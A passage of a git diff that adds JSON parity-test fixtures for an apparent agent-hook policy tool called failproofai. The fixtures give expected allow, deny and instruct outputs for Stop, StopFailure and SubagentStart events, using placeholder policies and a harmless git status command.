"tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..40afa9ab --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..4769340c --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1f797231 --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..67e61c4d --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..71fd21c4 --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a265ea6f --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..cc29095e --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9328e437 --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..0cf44d12 --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..426f04a8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d150ba03 --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..5f9b7440 --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..eb066ce6 --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a22e206a --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..23cbba5f --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..33f20063 --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5d556022 --- /dev/null +++ b/__tests__/parity/fixtures/pi/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..5ef6fc25 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..18790c98 --- /dev/null +++ 